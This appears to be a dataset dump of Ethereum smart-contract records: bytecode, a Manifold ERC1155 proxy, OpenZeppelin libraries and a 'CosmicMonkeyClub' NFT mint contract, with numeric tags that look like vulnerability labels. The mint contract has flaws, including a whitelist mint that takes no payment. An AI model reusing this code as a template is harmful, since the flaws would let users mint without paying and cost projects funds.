6128825760405162461bcd60e51b815260040180806020018281038252602e8152602001806132d5602e913960400191505060405180910390fd5b600054610100900460ff161580156128ad576000805460ff1961ff0019909116610100171660011790555b6128b56129f0565b6128bd6129f0565b6128c5612a92565b6128ce82612b2f565b6128d66129f0565b6128de612be5565b6128e66129f0565b611bcb612c90565b6128fc8686868686866111f9565b61290461149d565b156111f95760405162461bcd60e51b815260040180806020018281038252602c8152602001806131d3602c913960400191505060405180910390fd5b3b151590565b600061163a836001600160a01b038416612d87565b600061163a836001600160a01b038416612dd1565b815460009082106129b25760405162461bcd60e51b81526004018080602001828103825260228152602001806130aa6022913960400191505060405180910390fd5b8260000182815481106129c157fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b5490565b600054610100900460ff1680612a095750612a0961280f565b80612a17575060005460ff16155b612a525760405162461bcd60e51b815260040180806020018281038252602e8152602001806132d5602e913960400191505060405180910390fd5b600054610100900460ff16158015612a7d576000805460ff1961ff0019909116610100171660011790555b8015612a8f576000805461ff00191690555b50565b600054610100900460ff1680612aab5750612aab61280f565b80612ab9575060005460ff16155b612af45760405162461bcd60e51b815260040180806020018281038252602e8152602001806132d5602e913960400191505060405180910390fd5b600054610100900460ff16158015612b1f576000805460ff1961ff0019909116610100171660011790555b612a7d6301ffc9a760e01b612e97565b600054610100900460ff1680612b485750612b4861280f565b80612b56575060005460ff16155b612b915760405162461bcd60e51b815260040180806020018281038252602e8152602001806132d5602e913960400191505060405180910390fd5b600054610100900460ff16158015612bbc576000805460ff1961ff0019909116610100171660011790555b612bc582612f1b565b612bd5636cdb3d1360e11b612e97565b611bcb6303a24d0760e21b612e97565b600054610100900460ff1680612bfe5750612bfe61280f565b80612c0c575060005460ff16155b612c475760405162461bcd60e51b815260040180806020018281038252602e8152602001806132d5602e913960400191505060405180910390fd5b600054610100900460ff16158015612c72576000805460ff1961ff0019909116610100171660011790555b60fb805460ff191690558015612a8f576000805461ff001916905550565b600054610100900460ff1680612ca95750612ca961280f565b80612cb7575060005460ff16155b612cf25760405162461bcd60e51b815260040180806020018281038252602e8152602001806132d5602e913960400191505060405180910390fd5b600054610100900460ff16158015612d1d576000805460ff1961ff0019909116610100171660011790555b612d2f6000612d2a611be0565b61125f565b612d5b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6612d2a611be0565b612a7d7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a612d2a611be0565b6000612d9383836129d4565b612dc957508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610d84565b506000610d84565b60008181526001830160205260408120548015612e8d5783546000198083019190810190600090879083908110612e0457fe5b9060005260206000200154905080876000018481548110612e2157fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080612e5157fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610d84565b6000915050610d84565b6001600160e01b03198082161415612ef6576040805162461bcd60e51b815260206004820152601c60248201527f4552433136353a20696e76616c696420696e7465726661636520696400000000604482015290519081900360640190fd5b6001600160e01b0319166000908152606560205260409020805460ff19166001179055565b8051611269906099906020840190828054600181600116156101000203166002900490600052602060002090601f016020900481019282612f5f5760008555612fa5565b82601f10612f7857805160ff1916838001178555612fa5565b82800160010185558215612fa5579182015b82811115612fa5578251825591602001919060010190612f8a565b50612fb1929150612fb5565b5090565b5b80821115612fb15760008155600101612fb6565b60e01c90565b600060443d1015612fe0576114a4565b600481823e6308c379a0612ff48251612fca565b14612ffe576114a4565b6040513d600319016004823e80513d67ffffffffffffffff816024840111818411171561302e57505050506114a4565b8284019250825191508082111561304857505050506114a4565b503d83016020828401011115613060575050506114a4565b601f01601f191681016020016040529150509056fe455243313135353a207472616e7366657220746f206e6f6e2045524331313535526563656976657220696d706c656d656e746572456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473455243313135353a204552433131353552656365697665722072656a656374656420746f6b656e73416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e744c50546f6b656e3a206d75737420686176652064656661756c742061646d696e20726f6c6520746f2073657420616d6d20616464726573734c50546f6b656e3a206d75737420686176652070617573657220726f6c6520746f20756e7061757365455243313135353a2062616c616e636520717565727920666f7220746865207a65726f2061646472657373455243313135353a206275726e20616d6f756e7420657863656564732062616c616e6365455243313135355061757361626c653a20746f6b656e207472616e73666572207768696c6520706175736564455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f7665644c50546f6b656e3a206d7573742068617665206d696e74657220726f6c6520746f206d696e74416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b65455243313135353a207472616e7366657220746f20746865207a65726f2061646472657373455243313135353a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564455243313135353a206275726e2066726f6d20746865207a65726f2061646472657373455243313135353a20696e73756666696369656e742062616c616e636520666f72207472616e73666572455243313135353a2073657474696e6720617070726f76616c2073746174757320666f722073656c664c50546f6b656e3a2063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564455243313135353a206163636f756e747320616e6420696473206c656e677468206d69736d61746368455243313135353a2069647320616e6420616d6f756e7473206c656e677468206d69736d61746368455243313135353a206d696e7420746f20746865207a65726f2061646472657373416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a2646970667358221220d041191997a3eb340bf2a5ee5e8d18accff2ef35286678adac9da4bac6101a7164736f6c63430007060033
[ 5, 12 ]
0xf258d6efb634615d9e05b9eddef3996682871c68
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Dynamic Society by Mamatism /// @author: manifold.xyz import "./ERC1155Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // // // ─ // // // // ▄╦▀╬█ █▓▄ ╘██ // // ▓│░░░▌ └└ ╓▄▓█░╦╓╓▄▄▄ // // ▌█▀▀╡╟ ╫░│▓ ▄═┘└╙═╗▄▄ ▌│╙▄ ▀█╩╩▀╚▓██▒▀▀▀ // // ╫░││░░█ ▀█╙ ╓▀─ ▀██ ╙▓▌ // // ║░░░░░█ █ ▄─ ╙██ ╫▌ // // ▌░░░░╟ ▓▄ ╒─ ▄▄▄▄ └██ ▄▄ ▓█ // // ▀▄░░░▓ ▒▌ ▄███▀▀╙│░│╙▓ ║█▌ ╙╙ █╫ // // ╙▀╫▄█ ▐▒▓ ▄███▀╙││░░░░░░░░▓ ██▒▀▄ ▌╟ ║██ // // ▐▒╫ ╓████▀░│╝╙ █░░░░░░░░▌ ██▒░░╙╗ ▌░▌ █ // // ╒ ▐░╟ ╓████│░╓▀└ ▄▀│░░░░░░░░╟ ██▒░░░░│▀ ▌░▌ └ // // ▐░░████▀░░▌─ ▄▒░░░░░░░░░░░░▌ ██▒░░░░░░╙▄▌░▓ ▄╗▄ // // ║░░███▀░▄▀ ▄╬░░░░╞▀▀▀╪▄░░░░▌ ██░░│▄╪╪╪░│▓░╟ ╙╙└ // // ╫░░██▀░░╙╗▓│░░░░░░░▄▄▓▄▒░░░█ ╒██░▓▒▄▒░░░░░█╚▄ // // ▄▄ █░░╫█░░░░░░░░░░░░░█████▒░░░╫ ▓█▒░████▌░░░░╙▌▌ // // ▀▀└ ╓▀╙▓╙█▒░░░░░░░░░░░░╙████░░░░╟ ██░░████▌░░░░░▓▀▌ // // ═ ▌░▌░░░░░░░░░░░░░░░░░░░░░╟ ██░░░░││░░░░░░░╟▒╫ // // ▐ █░▌░░░░░░░░░░░░░░░░░░░░░▐▓█▌░░░░░░▒▒▒▒▒░░▐▒╫ // // ███░▒╦╔╔▄▄▄╓ ▌ ╓▌▐▀░░░░░░╚╚╚╩╩╚╚▒░░░░░░░╙▀▀░░░░░░░╚╚╚╚╚░░▓░█ // // ▀▀│▓███░▀██▀░ ███▓█░░░▄▄░░░╔▄▒▒▒░░░░░░░░░░░░░░░░░░▒▄▄▒░░░░█▀ // // ████▀╙─ ▌░░║╬▓██▓▓▓▓▓▓╬╬╬╬╬▓▓▓▓▓▓███▓╬░░░▓ // // ▌─ ▄╬░░░╣╣██████████████████████╬░░░▓ // // ╙▄ ▄▄█│░░░░░╙╣╬ └╙▀███████████╬░░░▌ // // ▄╓ ╙████▄░░░░░░╚╣╗╓ └▀█████╬╬▒░░╣▀ ▄▄▐███▌░░░░▓██▓╥ // // ▀▀─ ▀████▄░░░░░░╙╚╝╣▒╗╗╗╗╗╗╬╬╬╩╚░░░▓▀ ╙▀█╙╚╩╚▐███▌╚▀▀▀╙╙ // // ▐██ ╙█████▄░░░░░░░░░░░░░░░░░░│▄▀└ // // ╙█████████▓▄▄░░░░░░░▄▄▄██▀█ // // ▄▄▄▓█████████████████████▀│░▓╙ // // ███░░▒░╙███▌╔▄ ▓████▀┤│░░░░│╙╙▀▀▀▀▀▀▀╙╙│░░░░░░│╙▀╗▄▄ ╒▓▄ // // ▀▀╙╚███╩╚╚╚╧▀▀▀ ▄███▀│░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╙▀▄ ██▄ // // ╟███│░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╙▌ ╙╙└ // // ╒███░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░│▌ ▄╗▄ // // ███▌░░░░░░░░░░▄░░░░░░░░░░▄░░░░░░░░░░▄▒░░░░░░░╫ ╙╙ // // ▐██ ███░░░░░░░░░░███░░░░░░░░▓██░░░░░░░░▄██▒░░░▐░░╫ ▄▓▄ // // ██▌░░░░▐▌░░░█████░░░░░░█████▒░░░░░▓████▄░░▐▌░▌ ╙└ // // // // // // --- _ __ --- // // // // |`|\/-|\/( _\(["|`/ |`/ |\//-|\//-"|_\|\/| // // // // ## # ## # # # # # ## // // # # ## ####### ########## ### ########### #### // // # ### # #### ## # ### #### ##### ### ### #### // // # # # ### #### ########## ### # ### ######## # // // ##### ## ### ### # // // // // --- _ __ --- // // // // . , __ ___ _ __ . , // // x / _ ___ _ _ ()__ ,' _/_ __()__/_ __ /_ __ / \,' /_ _ _ /7(__ _ x // // ' / o \V / \/,'o|/ \'\/,',' _\ `,'o,',/,'o/_\V / /o\V / / \,' ,'o|/ \','o|/_/(c'/ \'\' ` // // /__,' )/_n_/|_,/_nn_//\_\ /___,|_,\_//|_// )/ /_,')/ /_/ /_/|_,/_nn_|_,////__/_nn_/ // // // // // // // // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////// contract DYSY is ERC1155Creator { constructor() ERC1155Creator() {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC1155Creator is Proxy { constructor() { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4; Address.functionDelegateCall( 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4, abi.encodeWithSignature("initialize()") ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122000b65ee78348a045c0e3e97f60d85ce0c685607b91b6dd3e39f9eec758e9ad8864736f6c63430008070033
[ 5 ]
0xf25A51A5e9d66e00bf54233f1163c5A48f23D67A
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.9; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; /* Xinusu Written [email protected] */ contract CosmicMonkeyClub is ERC721Enumerable, Ownable { /* Define */ mapping(address => uint) public whitelistRemaining; // Maps user address to their remaining mints if they have minted some but not all of their allocation /* Pricing */ uint public whitelistPrice = 0.088 ether; uint public mintPrice = 0.11 ether; /* Max's */ uint public maxItems = 10000; uint public maxItemsPerTx = 6; uint public maxItemsPerPublicUser = 6; uint public maxItemsPerWLUser = 4; /* Team Mint Total */ uint public teamMintTotal = 200; bool public teamMintComplete = false; /* Times */ uint public startWlTimestamp = 1642378825; uint public startPublicTimestamp = 1642380025; uint public finalTimestamp; /* Revealed */ bool public revealed = false; string public unrevealedURI = 'https://ipfs.infura.io/ipfs/QmZgnDxGELqSd42QwQXieMDTXe37rSJsbR89mnk9prECoh'; /* Addtional */ address public recipient; string public _baseTokenURI; /* State */ bool public isPublicLive = false; bool public isWhitelistLive = false; /* Private */ /* locked */ bool private withdrawlLock = false; /* Events */ event Mint(address indexed owner, uint indexed tokenId); event PermanentURI(string tokenURI, uint256 indexed _id); /* Constructor */ constructor() ERC721("Cosmic Monkey Club", "COSMIC") { /* Transfer ownership of contract to message sender */ /* transferOwnership(msg.sender); */ /* Set recipient to msg.sender */ recipient = msg.sender; } modifier whitelistMintingOpen() { if(block.timestamp >= startWlTimestamp && isWhitelistLive){ isWhitelistLive = true; } /* require(finalTimestamp >= block.timestamp, "The mint has already closed"); */ require(block.timestamp >= startWlTimestamp, "Whitelist Mint is not open yet"); _; } modifier publicMintingOpen() { if(block.timestamp >= startWlTimestamp && isPublicLive){ isPublicLive = true; } /* require(finalTimestamp >= block.timestamp, "The mint has already closed"); */ require(block.timestamp >= startPublicTimestamp, "Public Mint is not open yet"); _; } /* External */ function publicMint(uint amount) external payable publicMintingOpen { // Require nonzero amount require(amount > 0, "Mint must be greater than zero"); // Check proper amount sent require(msg.value == amount * mintPrice, "You need more ETH"); _mintWithoutValidation(msg.sender, amount); } function whitelistMint(uint amount) external payable whitelistMintingOpen { // Require nonzero amount require(amount > 0, "Mint must be greater than zero"); require(whitelistRemaining[msg.sender] >= amount, "Cant mint more than remaining allocation"); whitelistRemaining[msg.sender] -= amount; _mintWithoutValidation(msg.sender, amount); } function ownerMint(uint amount) external onlyOwner { /* Complete Dev Mint Automatically - to stated amount */ _mintWithoutValidation(msg.sender, amount); } function teamMint200() external onlyOwner { require(!teamMintComplete, "This function can only be run once, and it has already been run"); /* Complete Dev Mint Automatically - to stated amount */ _mintWithoutValidation(msg.sender, teamMintTotal); teamMintComplete = true; } /* Intenal */ function _mintWithoutValidation(address to, uint amount) internal { require(totalSupply() + amount <= maxItems, "All of Monkeys are out in the Cosmo and so we are sold out"); require(amount <= maxItemsPerTx, "Max mint amount is 6 Monkeys per Mint"); for (uint i = 0; i < amount; i++) { uint currentTotal = totalSupply(); _mint(to, currentTotal); emit Mint(to, currentTotal); } } // ADMIN FUNCTIONALITY // EXTERNAL function setMaxItems(uint _maxItems) external onlyOwner { maxItems = _maxItems; } function setRecipient(address _recipient) external onlyOwner { recipient = _recipient; } function revealData(string memory __baseTokenURI) external onlyOwner { require(!revealed); revealed = true; setBaseTokenURI(__baseTokenURI); for (uint i = 0; i <= totalSupply(); i++) { emit PermanentURI(string(abi.encodePacked(__baseTokenURI,'/',i)), i); } } function triggerWl() external onlyOwner { isWhitelistLive = true; } function triggerPublic() external onlyOwner { isPublicLive = true; } function setFinalTimestamp(uint _finalTimestamp) external onlyOwner { finalTimestamp = _finalTimestamp; } /* require(finalTimestamp >= block.timestamp, "The mint has already closed"); require(block.timestamp >= startPublicTimestamp, "Public Mint is not open yet"); */ function setBaseTokenURI(string memory __baseTokenURI) internal onlyOwner { _baseTokenURI = __baseTokenURI; } function adjustMaxMintAmount(uint _maxMintAmount) external onlyOwner { require(msg.sender == recipient, "This function is an Owner only function"); maxItemsPerTx = _maxMintAmount; } function whitelistUsers(address[] memory users) external onlyOwner { require(users.length > 0, "You havent entered any addresses"); for (uint i = 0; i < users.length; i++) { whitelistRemaining[users[i]] = maxItemsPerWLUser; } } // WITHDRAWAL FUNCTIONALITY /** * @dev Withdraw the contract balance to the recipient address */ function withdraw() external onlyOwner { require(!withdrawlLock); withdrawlLock = true; uint amount = address(this).balance; (bool success,) = recipient.call{value: amount}(""); require(success, "Failed to send ether"); withdrawlLock = false; } // METADATA FUNCTIONALITY /** * @dev Returns a URI for a given token ID's metadata */ function tokenURI(uint256 _tokenId) public view override returns (string memory) { if(revealed){ return string(abi.encodePacked(_baseTokenURI, Strings.toString(_tokenId))); } else { return string(abi.encodePacked(unrevealedURI)); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes 